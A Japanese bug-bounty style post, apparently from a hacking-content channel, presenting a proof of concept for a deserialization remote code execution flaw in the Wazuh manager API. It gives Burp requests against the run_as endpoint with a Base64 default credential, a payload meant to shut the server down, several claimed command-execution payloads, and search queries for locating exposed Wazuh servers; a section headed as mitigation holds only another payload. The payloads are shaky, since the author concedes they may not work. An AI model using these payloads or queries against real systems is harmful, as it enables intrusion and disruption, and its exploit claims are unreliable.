
Wazuhサーバーにおいて、wazuh-managerパッケージの安全でないデシリアライゼーションによる重大なRCE脆弱性が確認されました。このバグはWazuhバージョン≥4.4.0に影響し、バージョン4.9.1で修正されました。
🚨 Wazuh リモートコード実行 (RCE) - PoC
Wazuh サーバーにおいて、wazuh-manager パッケージの安全でないデシリアライゼーションにより、深刻な RCE 脆弱性が確認されました。このバグは Wazuh バージョン 4.4.0 以上に影響し、バージョン 4.9.1 で修正されています。
🔍 詳細
この欠陥は Wazuh API の DistributedAPI にあり、ユーザー制御の入力が安全でない方法でデシリアライズされます。これにより、API アクセスを持つ攻撃者(例: 侵害されたダッシュボードやクラスターノード)が、run_as エンドポイントを使用してマスターサーバー上で任意の Python コードを実行できます。
📬 概念実証 (Burp リクエスト)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 Authorization ヘッダーは wazuh-wui:MyS3cr37P450r.*- を Base64 エンコードしたものです。
📌 このペイロードは Python の exit() メソッドを呼び出し、Wazuh サーバーをシャットダウンさせます。
💥 影響
🛡️ 緩和策
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
ただし、これだけではデシリアライズコードがオブジェクトツリーを実際に実行しない限り動作しません。代わりに、コードを実行する __reduce__ ベースのオブジェクトを使用してください。
以下は、pickle のようなロジックを介して Python の os.system() を使用する Burp リクエストの動作する形式です。
💣 動作する Burp RCE ペイロード (Python コード実行)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 ls を実行するには、ペイロードを変更:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
以下の方法も使用できます:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ 注: これが機能するには、バックエンドで eval() または同様のメカニズムを使用して実際のデシリアライズが発生する必要があります。Wazuh PoC に基づけば、auth_context を制御できる場合にこれが可能です。
🔐 プロのヒント Burp でリクエストをインターセプトし、Repeater タブに移動して、以下のような複数のペイロードをテストしてください:
"whoami""id""uname -a""ls /home/wazuh"👇 検索クエリ
product.name="Wazuh"app="Wazuh"応答が 空 またはステータスが 500 の場合は、ログを確認してください — 出力が返されないことがあります。 📚 鋭く、ハッカーでいましょう!さらに多くの バグバウンティ PoC、バイパス、ペイロードが続きます!
フォロー 👉 @cybersecplayground で毎日のハッキングコンテンツをチェック!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit